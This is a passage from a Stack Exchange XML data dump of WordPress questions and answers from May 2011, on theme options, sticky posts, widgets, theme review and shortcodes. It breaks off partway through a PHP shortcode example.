  <row Id="16710" PostTypeId="2" ParentId="16708" CreationDate="2011-05-09T02:11:17.643" Score="1" ViewCount="" Body="&lt;p&gt;You're adding the menu page using the &quot;administrator&quot; role. Is the account you're using an administrator?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You should be using an appropriate &lt;em&gt;capability&lt;/em&gt;, rather than a &lt;em&gt;user role&lt;/em&gt;. Generally, the appropriate capability for editing Theme options is &lt;code&gt;edit_theme_options&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) There is a known bug with WordPress, in that currently, &lt;code&gt;manage_options&lt;/code&gt; is required for the form submit on &lt;code&gt;options.php&lt;/code&gt;, which is used by Theme settings pages. This is only an issue for user roles below editor, and will hopefully be fixed in 3.2 or 3.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) If this is a public Theme, you should be using &lt;code&gt;add_theme_page()&lt;/code&gt; (which adds a submenu to the &quot;Appearance&quot; menu), rather than &lt;code&gt;add_menu_page()&lt;/code&gt; (which adds a top-level menu page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) That tutorial is considerably out of date.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-09T02:11:17.643" CommentCount="2" />
  <row Id="16711" PostTypeId="2" ParentId="15467" CreationDate="2011-05-09T02:20:33.817" Score="1" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$imgs = get_posts(&quot;post_type=attachment&amp;amp;numberposts=-1&quot;);&#xA;&#xA;foreach($imgs as $img){&#xA;    $file = get_attached_file($img-&amp;gt;ID);&#xA;&#xA;    if(!file_exists($file)){&#xA;        wp_delete_post( $img-&amp;gt;ID, false );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-09T02:20:33.817" CommentCount="1" />
  <row Id="16712" PostTypeId="2" ParentId="16650" CreationDate="2011-05-09T02:31:12.847" Score="1" ViewCount="" Body="&lt;p&gt;After reading &lt;a href=&quot;http://www.000webhost.com/forum/before-registration/13273-few-words-how-instal-wordpress-000webhost-com-servers.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, I realized that the problem was that I needed to take the contents out of the &quot;wordpress&quot; folder, paste them in parallel to the &quot;wordpress&quot; folder, and delete the &quot;wordpress&quot; folder. Everything works fine now. Thankyou all.&lt;/p&gt;&#xA;" OwnerUserId="4900" LastActivityDate="2011-05-09T02:31:12.847" />
  <row Id="16713" PostTypeId="2" ParentId="16379" CreationDate="2011-05-09T02:47:24.843" Score="0" ViewCount="" Body="&lt;p&gt;I switched to W3 Total Cache, and it now works.&lt;/p&gt;&#xA;" OwnerUserId="5120" LastActivityDate="2011-05-09T02:47:24.843" />
  <row Id="16714" PostTypeId="1" AcceptedAnswerId="16715" CreationDate="2011-05-09T03:13:25.587" Score="0" ViewCount="101" Body="&lt;p&gt;I thought about adding it as inline CSS with code from the &lt;code&gt;functions.php&lt;/code&gt;&#xA;(not really sure how to do it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function addcss() {&#xA;   background: $this_is_the_css_value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to know that. But if there's is a better option (without adding inline CSS). I would like to know it too.&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-05-09T16:54:36.873" Title="Best way of adding CSS which can be manipulated by the user via theme option panels?" Tags="&lt;php&gt;&lt;functions&gt;&lt;css&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="16715" PostTypeId="2" ParentId="16714" CreationDate="2011-05-09T03:34:20.590" Score="2" ViewCount="" Body="&lt;p&gt;One way of doing this would be to create a &quot;CSS&quot; file from PHP. In other words, create a file, call it something like &lt;code&gt;style.css.php&lt;/code&gt;, and at the beginning of the file put:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php header(&quot;Content-type: text/css&quot;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, link that file in the head of your theme file. Because the &lt;code&gt;style.css.php&lt;/code&gt; file is a PHP file, anything you can do in a normal PHP file can be done in this file. As such, you can pull theme option values from the database and use them. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#header{&#xA;    background: &amp;lt;?php echo get_option('my-header-background-color'); ?&amp;gt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, you need to get the options into the database first, but since your question didn't address that, I won't go into it here.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-05-09T03:34:20.590" CommentCount="2" />
  <row Id="16716" PostTypeId="1" AcceptedAnswerId="16749" CreationDate="2011-05-09T04:03:06.430" Score="1" ViewCount="174" Body="&lt;p&gt;I am using WP 3.0.3 and I would like to exclude sticky posts from my query:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't seem to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts( 'posts_per_page=9&amp;amp;cat=-1,-2&amp;amp;ignore_sticky_posts=1' );?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get JUST the sticky post I use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sticky = get_option('sticky_posts');&#xA;$args = array(&#xA;    'posts_per_page' =&amp;gt; 1,&#xA;    'post__in'  =&amp;gt; $sticky&#xA;);&#xA;query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2313" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-09T11:39:12.360" LastActivityDate="2011-05-09T11:42:54.683" Title="ignore_sticky_posts in WordPress 3.0.3?" Tags="&lt;sticky-post&gt;&lt;3.0&gt;" AnswerCount="3" FavoriteCount="0" />
  <row Id="16717" PostTypeId="2" ParentId="16716" CreationDate="2011-05-09T04:15:28.527" Score="2" ViewCount="" Body="&lt;p&gt;Have you tried using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array( 'post__not_in' =&amp;gt; get_option( 'sticky_posts' ) ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-09T04:15:28.527" />
  <row Id="16718" PostTypeId="1" AcceptedAnswerId="19897" CreationDate="2011-05-09T04:29:35.110" Score="1" ViewCount="114" Body="&lt;p&gt;OK so i have a main menu and a sub-menu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i make a menu item active when viewing a single post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sub-menu uses taxonomies so i know i need to make the taxonomy active when one of the posts has the taxonomy in use&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-13T19:31:27.817" Title="Show nav link highlighted" Tags="&lt;custom-taxonomy&gt;&lt;navigation&gt;" AnswerCount="3" CommentCount="9" />
  <row Id="16719" PostTypeId="1" CreationDate="2011-05-09T06:40:53.200" Score="0" ViewCount="223" Body="&lt;p&gt;I've gotten my custom post types to display as it should in date based archives; the structure example.com/year/month/day (and above) works properly as long as it's extended with '?post_type=post_type_name'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;a href=&quot;http://wordpress.stackexchange.com/questions/13991/get-monthly-archives-for-custom-post-type/14006#14006&quot;&gt;Bainternets&lt;/a&gt; solution I've also gotten wp_get_archives to properly list archives based on whether or not they contain my CPT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that wp_get_archives still returns the default archive permalinks, like this: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;example.com/year/month/day&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but as I mentioned earlier, I need:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;example.com/year/month/day?post_type=post_type_name&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="5045" LastActivityDate="2011-05-09T06:40:53.200" Title="Extend the wp_get_archives output with '?post_type=foo'?" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;customization&gt;&lt;wp-get-archives&gt;" CommentCount="1" />
  <row Id="16720" PostTypeId="2" ParentId="16208" CreationDate="2011-05-09T06:46:48.440" Score="3" ViewCount="" Body="&lt;p&gt;This widget enqueues all possible required scripts for the footer, but it also sets a hook on &lt;code&gt;wp_print_footer_scripts&lt;/code&gt; that will deregister the scripts before they are printed, unless you change the array when printing the widget.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class WPSE16208_Widget extends WP_Widget&#xA;{&#xA;    // Key is script handle, value is boolean:&#xA;    // true if it should be printed, false otherwise&#xA;    protected $scripts = array();&#xA;&#xA;    public function __construct()&#xA;    {&#xA;        parent::__construct( 'wpse16208', 'WPSE 16208 Widget' );&#xA;&#xA;        wp_enqueue_script(&#xA;            'wpse16208_a',&#xA;            plugins_url( 'a.js', __FILE__ ),&#xA;            array(),&#xA;            false,&#xA;            true&#xA;        );&#xA;        $this-&amp;gt;scripts['wpse16208_a'] = false;&#xA;        wp_enqueue_script(&#xA;            'wpse16208_b',&#xA;            plugins_url( 'b.js', __FILE__ ),&#xA;            array(),&#xA;            false,&#xA;            true&#xA;        );&#xA;        $this-&amp;gt;scripts['wpse16208_b'] = false;&#xA;&#xA;        add_action( 'wp_print_footer_scripts', array( &amp;amp;$this, 'remove_scripts' ) );&#xA;    }&#xA;&#xA;    public function widget()&#xA;    {&#xA;        echo 'My widget';&#xA;&#xA;        $this-&amp;gt;scripts['wpse16208_a'] = true;&#xA;    }&#xA;&#xA;    public function remove_scripts()&#xA;    {&#xA;        foreach ( $this-&amp;gt;scripts as $script =&amp;gt; $keep ) {&#xA;            if ( ! $keep ) {&#xA;                // It seems dequeue is not &quot;powerful&quot; enough, you really need to deregister it&#xA;                wp_deregister_script( $script );&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-09T06:46:48.440" />
  <row Id="16721" PostTypeId="1" CreationDate="2011-05-09T06:49:05.383" Score="0" ViewCount="187" Body="&lt;p&gt;I have a custom template for user registration. I want to use a function to insert users. Can I directly call wp_insert_user() function?&lt;/p&gt;&#xA;" OwnerUserId="5229" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-09T07:09:31.910" LastActivityDate="2011-06-08T12:58:58.967" Title="Custom function for user register in wp?" Tags="&lt;functions&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="16722" PostTypeId="1" CreationDate="2011-05-09T07:01:33.917" Score="0" ViewCount="84" Body="&lt;p&gt;Hello there&#xA;that's what i'm trying to achieve:&#xA;i have a private page, where only author can access, after log in.&#xA;i want to show two columns:&#xA;1 - excerpts of the latest 8 posts published by the logged in author&#xA;2 - excerpts of the latest 8 drafts by the author&lt;/p&gt;&#xA;&#xA;&lt;p&gt;css and html are all set up for the two columns, but i can get the two contents to show (or at least i managed to get just the author sorting)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone could help?&#xA;thank you&lt;/p&gt;&#xA;" OwnerUserId="5230" LastActivityDate="2011-05-09T07:11:11.843" Title="Show Published and Draft posts from Logged in Author" Tags="&lt;author&gt;&lt;draft&gt;" AnswerCount="1" />
  <row Id="16723" PostTypeId="1" AcceptedAnswerId="16737" CreationDate="2011-05-09T07:10:02.603" Score="2" ViewCount="84" Body="&lt;p&gt;The posts on our music blog usually include multiple tracks of music. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have each individual track be its own entity--a custom post type called &lt;em&gt;&quot;track&quot;&lt;/em&gt;--which I want to be able to insert freely into a post where I wish using a shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image below explains pretty well what I am looking to do. &#xA;(Link to the page that I took the screenshot from: &lt;em&gt;http://iloveomfg.com/210/don-rimini-whatever-kaptain-cadillac-remix/&lt;/em&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/eq0I3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a shortcode, &lt;strong&gt;[track]&lt;/strong&gt;, which echoes the entire contents of the 'track' custom post type which id is specified. For example, if the track id is 34, the shortcode to display it within the post would be: &lt;strong&gt;[track id=34]&lt;/strong&gt; or &lt;strong&gt;[track id=&quot;34&quot;]&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have taken a look at all the posts related to this topic on this site, and have tried a few of the solutions, but to no avail, so I decided to go ahead and ask for my problem specifically. Can you tell me exactly what I need to do to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you need me to clarify anything.&lt;/p&gt;&#xA;" OwnerUserId="5231" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-09T07:19:30.717" LastActivityDate="2011-05-09T20:32:04.590" Title="Post the content of a specific &quot;Custom Post Type&quot; post within a post using a shortcode" Tags="&lt;custom-post-types&gt;&lt;functions&gt;&lt;query-posts&gt;&lt;shortcode&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="16724" PostTypeId="2" ParentId="16722" CreationDate="2011-05-09T07:11:11.843" Score="1" ViewCount="" Body="&lt;p&gt;a similar question was asked before, if you &lt;a href=&quot;http://wordpress.stackexchange.com/questions/13484/how-to-get-all-posts-with-any-post-status&quot;&gt;&lt;strong&gt;take a look here&lt;/strong&gt;&lt;/a&gt; obviously for 1 column use 'post_status' =&gt; 'published' and for the other column call 'post_status' =&gt; 'draft' and set number of posts to show to 8 for each column&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-09T07:11:11.843" CommentCount="1" />
  <row Id="16725" PostTypeId="2" ParentId="16677" CreationDate="2011-05-09T07:35:48.390" Score="0" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;strike&gt; Could you check and see that your&#xA;post &quot;The Bosconian – God’s gift to&#xA;Pretty Ladies and Lucky Chicks&quot;? has&#xA;been published, and is not still a&#xA;draft. &lt;/strike&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strike&gt; Also, could you try to add a&#xA;brand new post and publish it so we&#xA;can determine if it may just be a problem with that specific post versus the actual loop.&lt;/strike&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Could you go into the theme editor (Appearance &gt; Editor), then click on the link &quot;Main Index Template (index.php)&quot;. Copy and paste the contents of that here so we can take a look.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5231" LastEditorUserId="5231" LastEditorDisplayName="" LastEditDate="2011-05-09T08:00:48.560" LastActivityDate="2011-05-09T08:00:48.560" CommentCount="6" />
  <row Id="16726" PostTypeId="2" ParentId="16414" CreationDate="2011-05-09T07:50:15.767" Score="1" ViewCount="" Body="&lt;p&gt;To answer your question directly: no, it is not possible to edit a css file which is in a subdirectory of your theme. I would suggest you move the css files to the root of your theme as &lt;a href=&quot;http://wordpress.stackexchange.com/users/4936/geert&quot;&gt;Geert&lt;/a&gt; suggested &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16414/cant-edit-style-css-in-subdirectory-of-my-theme/16417#16417&quot;&gt;here&lt;/a&gt;. You will need to access your site directory via FTP. If you don't know how to do this, contact your hosting provider and they will be able to give you instructions.&lt;/p&gt;&#xA;" OwnerUserId="5231" LastActivityDate="2011-05-09T07:50:15.767" />
  <row Id="16727" PostTypeId="1" AcceptedAnswerId="16739" CreationDate="2011-05-09T08:04:48.273" Score="1" ViewCount="80" Body="&lt;p&gt;I have created one theme. The theme &lt;a href=&quot;http://themes.trac.wordpress.org/ticket/3777&quot; rel=&quot;nofollow&quot;&gt;was denied today&lt;/a&gt; for the following reasons:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Theme Review:  &lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Themes should be reviewed using &lt;code&gt;define('WP_DEBUG', true);&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Themes should be reviewed using the test data from the Theme Checklists&#xA;  (TC)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp-config.php&lt;/code&gt; is the WordPress setting file. How do I alter my custom theme?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;the theme registers some custom functionality in the function&#xA;  &lt;code&gt;warmHome_setup()&lt;/code&gt; however this function in not hooked so the functionality&#xA;  is not available. Recommend hooking the theme to the &lt;code&gt;after_setup_theme&lt;/code&gt;&#xA;  hook.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The following is my themes &lt;code&gt;warmHome_setup()&lt;/code&gt; function. How should I alter it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function warmHome_setup() {&#xA;&#xA;    // This theme styles the visual editor with editor-style.css to match the theme style.&#xA;    add_editor_style();&#xA;&#xA;    // Add default posts and comments RSS feed links to head&#xA;    add_theme_support( 'automatic-feed-links' );&#xA;&#xA;    // Make theme available for translation&#xA;    // Translations can be filed in the /languages/ directory&#xA;    load_theme_textdomain( 'warm-home', TEMPLATEPATH . '/languages' );&#xA;&#xA;    $locale = get_locale();&#xA;    $locale_file = TEMPLATEPATH . &quot;/languages/$locale.php&quot;;&#xA;    if ( is_readable( $locale_file ) )&#xA;        require_once( $locale_file );&#xA;&#xA;    // This theme uses wp_nav_menu() in one location.&#xA;    register_nav_menus( array(&#xA;        'primary' =&amp;gt; __( 'Primary Navigation', 'warm home' ),&#xA;    ) );&#xA;&#xA;    // This theme allows users to set a custom background&#xA;    add_custom_background();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1962" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T07:46:02.900" LastActivityDate="2011-05-31T12:00:54.257" Title="Questions about WordPress.org theme review" Tags="&lt;theme-development&gt;&lt;wordpress.org&gt;&lt;theme-review&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" />
  <row Id="16728" PostTypeId="2" ParentId="14988" CreationDate="2011-05-09T08:08:25.720" Score="0" ViewCount="" Body="&lt;p&gt;When you are in the post editor, press &lt;code&gt;CTRL + ENTER&lt;/code&gt; when you go to a new line. Doing that tells WordPress not to add a &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt; tag in your code.&lt;/p&gt;&#xA;" OwnerUserId="5231" LastActivityDate="2011-05-09T08:08:25.720" />
  <row Id="16729" PostTypeId="2" ParentId="8578" CreationDate="2011-05-09T08:25:41.520" Score="0" ViewCount="" Body="&lt;p&gt;It all depends on the purpose of your gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're writing a blog about your holidays, then it is appropriate to put &quot;my day in Oxford&quot; in a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, on the other hand, you are using your gallery to show a piece of work, for example, then you may want to put it on a page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is more to do with how you manage your content in general : the information you put on pages and that which you put into posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps the answer is in the purpose of the photos : if the objective is professional, then you may want to go for pages, if it is personal - you're sharing some images with friends as you meander through life - then posts would be the way to go.&lt;/p&gt;&#xA;" OwnerUserId="5232" LastActivityDate="2011-05-09T08:25:41.520" />
  <row Id="16730" PostTypeId="1" AcceptedAnswerId="16744" CreationDate="2011-05-09T08:30:39.403" Score="2" ViewCount="161" Body="&lt;p&gt;I read somewhere that I can set a constant in the wp-config.php to update WordPress from the latest trunk version and not the stable version.&#xA;Stupid as I am, I can't find the site anymore where it was written.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could also update with SVN, but I thought the autoupdater was a smarter version.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2011-05-12T14:40:32.727" Title="How to update WordPress from the latest trunk" Tags="&lt;wp-config&gt;&lt;auto-update&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="16731" PostTypeId="1" AcceptedAnswerId="16735" CreationDate="2011-05-09T08:47:33.743" Score="2" ViewCount="85" Body="&lt;p&gt;I have already read this question and answer to it ( &lt;a href=&quot;http://wordpress.stackexchange.com/questions/13793/where-do-i-start-from&quot;&gt;Where do I start from&lt;/a&gt; ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have slightly different question. If I basicaly have no knowledge of how the WordPress code is structured and I have some ideas for plugin I would like to write should I start at the same place where author of the answer sugested in the post linked above or there is some other path?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to all who will contribute to this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I have more than 3.5 years of experience with PHP and other web technologies.&lt;/p&gt;&#xA;" OwnerUserId="943" LastActivityDate="2011-05-10T19:19:27.563" Title="Where is it better to start learning how to develop for Wordpress?" Tags="&lt;plugin-development&gt;&lt;3.0&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="16732" PostTypeId="2" ParentId="16723" CreationDate="2011-05-09T08:47:53.480" Score="0" ViewCount="" Body="&lt;p&gt;You have two issues here I think. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Making a short code. &lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/wordpress-shortcodes-the-right-way/&quot; rel=&quot;nofollow&quot;&gt;This Nettuts&lt;/a&gt; tutorial is excellent at stepping through each of the steps needed. (though you don't need the second half about adding a tinymce button).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - A way of storing track details. I am guessing you could you use a new post for each track with custom meta with the link to the audio file and any other details you want. Then the track=ID would refer to the ID of the post and you would use the shortcode to grab the ID and then hunt down the post with that ID and then include the meta of that post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="5158" LastActivityDate="2011-05-09T08:47:53.480" CommentCount="1" />
  <row Id="16733" PostTypeId="1" CreationDate="2011-05-09T09:01:50.130" Score="2" ViewCount="157" Body="&lt;p&gt;I used the &lt;em&gt;comment meta&lt;/em&gt; to add a simple &lt;strong&gt;rating&lt;/strong&gt; system. The user can post a rate from the comment form from where I added 3 dropdown comment meta. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rating is working well, reflecting the ratings together with the comment written by the user. My only problem now is this: how can I get the average of all the ratings posted? I need the average to be placed on the post content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My rating system rates the following: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Price, &lt;/li&gt;&#xA;&lt;li&gt;Packaging, &lt;/li&gt;&#xA;&lt;li&gt;Quality. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want an average for each rate:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Average Price Rate, &lt;/li&gt;&#xA;&lt;li&gt;Average Packaging Rate, and &lt;/li&gt;&#xA;&lt;li&gt;Average Quality Rate.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thank you so much!&lt;/p&gt;&#xA;" OwnerUserId="5233" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-09T14:25:55.627" LastActivityDate="2011-05-09T15:18:55.930" Title="How to get the average of the values from the comment meta" Tags="&lt;comment-meta&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="16734" PostTypeId="2" ParentId="16731" CreationDate="2011-05-09T09:11:40.043" Score="1" ViewCount="" Body="&lt;p&gt;Since you've got 3.5 years of experience with PHP, a good place to start are the WordPress core files in wp-includes. Getting a hang of those files will give you an idea of where all the functions come from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course it may seem like a daunting task to look through hundreds (if not thousands) of functions, but i believe the core developers did a great job on commenting on the basic functionality and purpose of each function. Perhaps checking out the latest version of WordPress through svn  would be your best bet to stay up-to-date with latest bug fixes and improvements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres a link to the WordPress trunk &lt;a href=&quot;https://core.svn.wordpress.org/trunk&quot; rel=&quot;nofollow&quot;&gt;https://core.svn.wordpress.org/trunk&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres another link to the WordPress codex on Plugin Development &lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin&quot; rel=&quot;nofollow&quot;&gt;WordPress Codex: Plugin Development&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="5018" LastActivityDate="2011-05-09T09:11:40.043" />
  <row Id="16735" PostTypeId="2" ParentId="16731" CreationDate="2011-05-09T09:12:07.340" Score="3" ViewCount="" Body="&lt;p&gt;The book &lt;a href=&quot;http://digwp.com/&quot; rel=&quot;nofollow&quot;&gt;Digging into WordPress&lt;/a&gt; is a good start. I bought this myself. I found it to be full of useful resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want plugin development then &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470916222&quot; rel=&quot;nofollow&quot;&gt;Professional WordPress Plugin Development&lt;/a&gt; is a great book. Another book I bought and I used it to develop my first plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other places to keep visit are &lt;a href=&quot;http://codex.wordpress.org/Main_Page&quot; rel=&quot;nofollow&quot;&gt;Wordpress Codex&lt;/a&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/&quot;&gt;WordPress StackExchange&lt;/a&gt; and the &lt;a href=&quot;http://chat.stackexchange.com/rooms/6/stoppress&quot;&gt;chat room&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-09T09:12:07.340" CommentCount="3" />
  <row Id="16736" PostTypeId="2" ParentId="11667" CreationDate="2011-05-09T09:14:50.210" Score="0" ViewCount="" Body="&lt;p&gt;I had the same issue, the only fix I've found so far is to wrap the menu with a remove then add of the filter to stop it from breaking the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;/p&gt;&#xA;" OwnerUserId="5234" LastActivityDate="2011-05-09T09:14:50.210" />
  <row Id="16737" PostTypeId="2" ParentId="16723" CreationDate="2011-05-09T09:19:01.653" Score="2" ViewCount="" Body="&lt;p&gt;I would suggest creating a new custom taxonomy for relations between a post and its &quot;tracks&quot; or grouping of track posts if you'd like&#xA;that way you can easily create a shortcode that will query all the needed tracks  at once using a shortcode instead of calling your shortcode over and over and to order them you can create a custom field in track so in your query you can order by that field  so it would be something like this (this assumes that you have a custom taxonomy named &quot;&lt;strong&gt;post_tracks&lt;/strong&gt;&quot;  and that all of the posts tracks were added to the same term of that taxonomy, also that you have a custom field to order you tracks named &quot;&lt;strong&gt;in_order&lt;/strong&gt;&quot; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_tracks($atts, $content = null) {  &#xA;        extract(shortcode_atts(array(  &#xA;            &quot;post_tracks&quot; =&amp;gt; '',&#xA;            &quot;tracks&quot; =&amp;gt; '',&#xA;        ), $atts)); &#xA;&#xA;        //if post_tracks relation term was passed:&#xA;        if ($atts['post_tracks'] != ''){&#xA;            $tracks = NEW WP_Query(array('post_type' =&amp;gt; 'track', 'post_tracks' =&amp;gt; $atts['post_tracks'], 'orderby' =&amp;gt; 'meta_value', 'meta_key' =&amp;gt; 'in_order' ));&#xA;            while($tracks-&amp;gt;have_posts()){&#xA;                $tracks-&amp;gt;the_post();&#xA;                //do whatever you want with each track eg:&#xA;                $out .= '&amp;lt;div class=&quot;track&quot;&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;'.get_the_title($post-&amp;gt;ID).'&amp;lt;h3&amp;gt;&#xA;                    &amp;lt;div class=&quot;track_inner&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;track_img&quot;&amp;gt;'. get_the_post_thumbnail($post-&amp;gt;ID, 'thumbnail').'&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;track_content&quot;&amp;gt;'.apply_filters('the_content',get_the_content()).'&amp;lt;div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;';&#xA;            }&#xA;            return $out;&#xA;        }&#xA;&#xA;        //if its a single track you want:&#xA;        $tracks = NEW WP_Query(array('post_type' =&amp;gt; 'track','post__in' =&amp;gt; array($tracks) ));&#xA;            while($tracks-&amp;gt;have_posts()){&#xA;                $tracks-&amp;gt;the_post();&#xA;                //do whatever you want with each track eg:&#xA;                $out .= '&amp;lt;div class=&quot;track&quot;&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;'.get_the_title($post-&amp;gt;ID).'&amp;lt;h3&amp;gt;&#xA;                    &amp;lt;div class=&quot;track_inner&quot;&amp;gt;&#xA;                        &amp;lt;div 